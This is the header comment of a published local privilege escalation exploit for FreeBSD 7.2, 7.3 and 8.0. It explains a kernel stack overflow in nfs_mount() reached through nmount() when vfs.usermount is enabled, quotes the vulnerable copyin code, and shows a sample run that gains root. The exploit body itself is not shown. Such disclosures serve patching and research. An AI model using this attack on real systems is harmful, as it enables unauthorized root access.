FreeBSD 8.0/7.3/7.2 - 'nfs_mount()' Local Privilege Escalation, discovered and exploited by Patroklos Argyroudis. The vulnerability in nfs_mount() is reachable by mount(2) and nmount(2) system calls through insufficient input validation

Code
/*
 * nfs_mount_ex.c -- Patroklos Argyroudis, argp at domain census-labs.com
 *
 * Local kernel exploit for FreeBSD 8.0, 7.3 and 7.2.
 *
 * FreeBSD 8.0-RELEASE: Local kernel crash/denial-of-service.
 * FreeBSD 7.3/7.2-RELEASE: Local privilege escalation.
 * 
 * Discovered and exploited by Patroklos (argp) Argyroudis.
 *
 * The vulnerability is in nfs_mount() which is reachable by the mount(2)
 * and nmount(2) system calls.  In order for them to be enabled for
 * unprivileged users the sysctl(8) variable vfs.usermount must be set to a
 * non-zero value.
 *
 * nfs_mount() employs an insufficient input validation method for copying
 * data passed in the struct nfs_args from userspace to kernel.
 * Specifically, the file handle to be mounted (nfs_args.fh) and its size
 * (nfs_args.fhsize) are completely user-controllable.  In file
 * sys/nfsclient/nfs_vfsops.c from 8.0-RELEASE:
 *
 * 1094      if (!has_fh_opt) {
 * 1095            error = copyin((caddr_t)args.fh, (caddr_t)nfh,
 * 1096                 args.fhsize);
 * 1097          if (error) {
 * 1098               goto out;
 * 1099            }
 *
 * The above can cause a kernel stack overflow which leads to privilege
 * escalation in 7.3-RELEASE and 7.2-RELEASE, and a kernel crash /
 * denial-of-service in 8.0-RELEASE (due to SSP/ProPolice).  7.1-RELEASE
 * and earlier do not seem to be vulnerable since the bug was introduced in
 * 7.2-RELEASE.
 *
 * Sample run:
 *
 * [argp@julius ~]$ uname -rsi
 * FreeBSD 7.3-RELEASE GENERIC
 * [argp@julius ~]$ sysctl vfs.usermount
 * vfs.usermount: 1
 * [argp@julius ~]$ id
 * uid=1001(argp) gid=1001(argp) groups=1001(argp)
 * [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
 * [argp@julius ~]$ ./nfs_mount_ex 
 * [*] calling nmount()
 * [!] nmount error: -1030740736
 * nmount: Unknown error: -1030740736
 * [argp@julius ~]$ id
 * uid=0(root) gid=0(wheel) egid=1001(argp) groups=1001(argp)
 *
